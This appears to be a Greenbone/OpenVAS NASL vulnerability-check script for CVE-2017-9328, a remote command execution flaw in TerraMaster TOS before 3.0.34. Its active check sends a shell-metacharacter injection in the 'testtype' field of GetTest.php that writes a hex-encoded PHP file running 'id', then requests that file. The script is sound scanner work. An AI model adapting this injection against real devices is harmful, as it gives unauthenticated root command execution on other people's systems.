TerraMaster TOS < 3.0.34 RCE Vulnerability - Active Check

# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE_PREFIX = "cpe:/o:terra-master:";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140376");
  script_version("2023-02-21T10:19:50+0000");
  script_tag(name:"last_modification", value:"2023-02-21 10:19:50 +0000 (Tue, 21 Feb 2023)");
  script_tag(name:"creation_date", value:"2017-09-19 12:13:21 +0700 (Tue, 19 Sep 2017)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");

  script_cve_id("CVE-2017-9328");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("TerraMaster TOS < 3.0.34 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_terramaster_nas_http_detect.nasl");
  script_mandatory_keys("terramaster/nas/http/detected");
  script_require_ports("Services/www", 8181);

  script_tag(name:"summary", value:"TerraMaster TOS is prone to a remote command execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request to upload a php file and
  checks if the 'id' command could be executed.");

  script_tag(name:"insight", value:"Shell metacharacter injection vulnerability in
  /usr/www/include/ajax/GetTest.php in TerraMaster TOS leads to remote code execution as root.");

  script_tag(name:"impact", value:"An unauthenticated attacker may execute arbitrary code as root.");

  script_tag(name:"affected", value:"TerraMaster TOS prior to version 3.0.34.");

  script_tag(name:"solution", value:"Update to version 3.0.34 or later.");

  script_xref(name:"URL", value:"https://gist.github.com/hybriz/63bbe2d963e531357aca353c74dd1ad5");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www"))
  exit(0);

port = infos["port"];
cpe = infos["cpe"];

if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
  exit(0);

# <?php passthru("id"); unlink(__FILE__); ?>
data = 'dev=b1bebe&testtype=start;\\"$(echo -en "' +
        "\\x3c\\x3f\\x70\\x68\\x70\\x20\\x70\\x61\\x73\\x73\\x74\\x68\\x72\\x75\\x28\\x22\\x69\\x64\\x22\\x29\\x3b\\x20\\x75\\x6e\\x6c\\x69\\x6e\\x6b\\x28\\x5f\\x5f\\x46\\x49\\x4c\\x45\\x5f\\x5f\\x29\\x3b\\x20\\x3f\\x3e\\n" +
        '" > vt-test_cve_2017_9328.php);';

url = "/include/ajax/GetTest.php";

req = http_post_put_req(port: port, url: url, data: data,
                        add_headers: make_array("Content-Type", "application/x-www-form-urlencoded"));
res = http_keepalive_send_recv(port: port, data: req);

if ("Call to undefined function" >< res) {
  url = "/include/ajax/vt-test_cve_2017_9328.php";
  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (res =~ "uid=[0-9]+.*gid=[0-9]+") {
    report = "It was possible to execute the 'id' command.\n\nResult:\n" + res;
    report += '\n\nPlease delete the following file manually:\n' + http_report_vuln_url(port: port, url: url, url_only: TRUE);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);